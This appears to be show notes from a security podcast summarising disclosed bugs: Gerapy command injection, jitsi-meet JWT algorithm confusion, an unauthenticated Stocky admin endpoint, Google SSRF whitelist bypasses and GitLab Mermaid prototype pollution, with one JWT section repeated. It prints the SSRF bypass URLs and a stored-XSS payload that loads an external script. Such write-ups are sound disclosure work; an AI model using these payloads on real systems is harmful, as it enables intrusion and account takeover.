103 - GitLab Prototype Pollution and Some Authentication Bypasses
Two straight-forward command injection issues in Gerapy.
The first in the project_clone function, where the address of the Git project to clone is taken directly from the HTTP POST body and used directly in the git clone {address}... command later without any sanitization of control characters.
The second is similar but in project_parse. In this case, it is reading an argument and value which is places directly into a command string that is passed to a shell to be executed.
It was possible to forge JWT tokens due to an unchecked constraint when processing the JWT before verifying. In one function the token would be “processed” as in it would pull out the relative information, passing it into Util:verify_token(token, secret, acceptedIssuers)
During processing the public key would be pulled out of the token and passed in as the secret to the verifying function. The problem is that it did not ensure the tokens algorithm actually used a public key as opposed to a shared secret. As such an attacker could change the alg in the JWT to a symmetric algorithm, having it used the trusted public key as a shared secret enabling forgery.
Patch - https://github.com/jitsi/jitsi-meet/pull/9319/commits/c6b0ff79a3727608130b6e54516f3e188ef32c56
The patch just checks that the algorithm is one of the expected algorithms.
It was possible to forge JWT tokens due to an unchecked constraint when processing the JWT before verifying. In one function the token would be “processed” as in it would pull out the relative information, passing it into Util:verify_token(token, secret, acceptedIssuers)
During processing the public key would be pulled out of the token and passed in as the secret to the verifying function. The problem is that it did not ensure the tokens algorithm actually used a public key as opposed to a shared secret. As such an attacker could change the alg in the JWT to a symmetric algorithm, having it used the trusted public key as a shared secret enabling forgery.
Patch - https://github.com/jitsi/jitsi-meet/pull/9319/commits/c6b0ff79a3727608130b6e54516f3e188ef32c56
The patch just checks that the algorithm is one of the expected algorithms.
Missing, or maybe insufficient authentication checks on the /users/create_admin endpoint allowed any user (even one not logged in) to create a new administrative account and gain full admin privileged within the Stocky app.
URL validation vulnerabilities leading to server side request forgery (SSRF) on an internal Google endpoint. The original whitelist bypass was to use a \@ in the domain:
https://[your_domain]\@jobs.googleapis.com
In this case the validation will think the request will go to jobs.googleapis.com but the actual request library will send it to [your_domain]. This got the author a $4333.70 bounty.
The first fix to this was bypassed by including any content between the \ and @ such as:
https://[your_domain]\anything@jobs.googleapis.com/
Would be parsed the same way, so blocking only the \@ was not sufficient. This bypass alone was rewarded an addition $3,333.70.
Finally, once that bypass was fixed on the default deployments, the author was still able to call into previous versions of the application by specifying them directly in the domain leading to another bypass and another $3,333.70 bounty.
Prototype pollution through a Mermaid diagram embedded in markdown leading to stored XSS.
Rather than trying to describing how Mermaid works the payload can show this issue pretty clearly. The init field allows setting of __proto__ (and prototype was used to bypass the first fix). This can be used to pollute the template field which enabled XSS.
%%{init: { '__proto__': {'template': '<iframe xmlns=\"http://www.w3.org/1999/xhtml\" srcdoc=\"<script src=https://gitlab.com/bugbountyuser1/csp/-/jobs/1030502035/artifacts/raw/payload.js> </script>\">'}} }%%